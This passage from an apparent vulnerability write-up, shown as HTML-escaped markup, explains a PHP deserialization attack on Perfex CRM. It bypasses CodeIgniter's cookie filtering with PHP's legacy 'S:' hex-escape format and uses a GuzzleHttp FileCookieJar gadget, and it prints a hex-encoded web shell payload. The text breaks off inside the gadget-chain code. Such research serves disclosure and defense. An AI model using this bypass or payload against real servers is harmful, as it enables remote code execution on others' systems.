class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eget_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$index\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eis_bool\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eOR\u003c/span\u003e \u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econfig_item\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;global_xss_filtering\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"k\"\u003eTRUE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$prefix\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_COOKIE\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$index\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003econfig_item\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie_prefix\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eget_instance\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003einput\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ecookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$prefix\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"nv\"\u003e$index\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$xss_clean\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCodeIgniter\u0026rsquo;s input processing calls \u003ccode\u003eremove_invisible_characters()\u003c/code\u003e, which strips null bytes:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Common.php#L722\"\u003e\u003ccode\u003esystem/core/Common.php\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$non_displayables\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePrivate properties in PHP serialization use \u003ccode\u003e\\x00ClassName\\x00property\u003c/code\u003e as the key. The null bytes are structural. Strip them and the payload breaks:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003es:17:\u0026#34;\\x00ClassName\\x00prop\u0026#34;  -\u0026gt;  after filter  -\u0026gt;  s:17:\u0026#34;ClassNameprop\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      ^^^^          ^^^^                            (broken, length mismatch)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThat could have been the end of it. But the filter strips bytes from the cookie value, and \u003ccode\u003eunserialize()\u003c/code\u003e is the thing that interprets those bytes. If the unserializer had another way to represent them, one that doesn\u0026rsquo;t use literal null bytes in the wire format, the filter would have nothing to strip.\u003c/p\u003e\n\u003ch2 id=\"the-s-format-bypass\"\u003eThe \u003ccode\u003eS:\u003c/code\u003e format bypass\u003ca href=\"#the-s-format-bypass\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI cloned php-src\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e and started reading \u003ca href=\"https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re\"\u003e\u003ccode\u003evar_unserializer.re\u003c/code\u003e\u003c/a\u003e, the lexer that drives \u003ccode\u003eunserialize()\u003c/code\u003e. The lowercase \u003ccode\u003es:\u003c/code\u003e tag reads string bytes verbatim. A few lines down, an uppercase \u003ccode\u003eS:\u003c/code\u003e variant resolves \u003ccode\u003e\\xx\u003c/code\u003e hex escapes during deserialization, so non-ASCII bytes like null bytes can be written as printable ASCII in the serialized payload.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/php/php-src/blob/a8543dfdd23f66d65629fd3492d578765d7b6b65/ext/standard/var_unserializer.re#L334-L353\"\u003e\u003ccode\u003eext/standard/var_unserializer.re\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;\\\\\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eZSTR_VAL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;9\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"sc\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"sc\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;F\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"sc\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nf\"\u003ezend_string_efree\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eZSTR_VAL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003eS:3:\u0026quot;\\00A\\00\u0026quot;\u003c/code\u003e is entirely printable ASCII. It passes through the XSS filter untouched, and \u003ccode\u003eunserialize()\u003c/code\u003e resolves the hex escapes back into null bytes.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eS:\u003c/code\u003e tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6\u0026rsquo;s Unicode strings where not all byte sequences are valid. The uppercase \u003ccode\u003eS:\u003c/code\u003e tag was \u003ca href=\"https://github.com/php/php-src/commit/7ccba6624df074051f24efabd5d88d9c0d2a8ec0\"\u003eadded to PHP 5 in 2006\u003c/a\u003e so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the \u003ccode\u003eS:\u003c/code\u003e tag, and no tests covered it. It was only \u003ca href=\"https://github.com/php/php-src/commit/ecd11b968713025bba6fc145a0765f85f48a8a00\"\u003edeprecated in PHP 8.4\u003c/a\u003e (\u003ca href=\"https://wiki.php.net/rfc/deprecations_php_8_4\"\u003ethe RFC passed 36-0\u003c/a\u003e), so it sat in the unserializer for 18 years.\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003ch2 id=\"more-obstacles\"\u003eMore obstacles\u003ca href=\"#more-obstacles\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eWith the null byte problem solved, building the full payload hit three more issues.\u003c/p\u003e\n\u003cp\u003ePrivate properties include the full namespace, so the \u003ccode\u003eFileCookieJar\u003c/code\u003e cookies property serializes as \u003ccode\u003e\\x00GuzzleHttp\\Cookie\\CookieJar\\x00cookies\u003c/code\u003e. In \u003ccode\u003eS:\u003c/code\u003e format, \u003ccode\u003e\\Co\u003c/code\u003e fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. \u003ccode\u003eC\u003c/code\u003e is valid hex but \u003ccode\u003eo\u003c/code\u003e is not. Using \u003ccode\u003e\\5c\u003c/code\u003e for literal backslashes gets around this.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eS:36:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNext, CodeIgniter\u0026rsquo;s \u003ccode\u003exss_clean()\u003c/code\u003e replaces PHP open/close tags:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Security.php#L460\"\u003e\u003ccode\u003esystem/core/Security.php\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estr_replace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003earray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;?\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;?\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"k\"\u003earray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026amp;lt;?\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;?\u0026amp;gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"nv\"\u003e$str\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe shell payload contains \u003ccode\u003e\u0026lt;?\u003c/code\u003e which gets mangled. Hex-encoding the tags in the \u003ccode\u003eS:\u003c/code\u003e string avoids this. \u003ccode\u003e\\3c\\3f\u003c/code\u003e becomes \u003ccode\u003e\u0026lt;?\u003c/code\u003e, \u003ccode\u003e\\60\u003c/code\u003e becomes the backtick, \u003ccode\u003e\\3f\\3e\u003c/code\u003e becomes \u003ccode\u003e?\u0026gt;\u003c/code\u003e. All resolved after filtering.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eS:15:\u0026#34;\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFinally, after deserialization the app does \u003ccode\u003eisset($data['key'])\u003c/code\u003e. If \u003ccode\u003e$data\u003c/code\u003e is a \u003ccode\u003eFileCookieJar\u003c/code\u003e object instead of an array, PHP 8 throws a \u003ccode\u003eTypeError\u003c/code\u003e and returns HTTP 500. Wrapping the gadget in an array with valid \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003euser_id\u003c/code\u003e fields avoids this. The nested \u003ccode\u003eFileCookieJar.__destruct()\u003c/code\u003e still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500.\u003c/p\u003e\n\u003ch2 id=\"the-gadget-chain\"\u003eThe gadget chain\u003ca href=\"#the-gadget-chain\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003ePerfex CRM bundles GuzzleHttp, which includes \u003ccode\u003eFileCookieJar\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eFileCookieJar\u003c/span\u003e \u003cspan class=\"k\"\u003eextends\u003c/span\u003e \u003cspan class=\"nx\"\u003eCookieJar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"nv\"\u003e$storeSessionCookies\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"fm\"\u003e__destruct\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003esave\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan 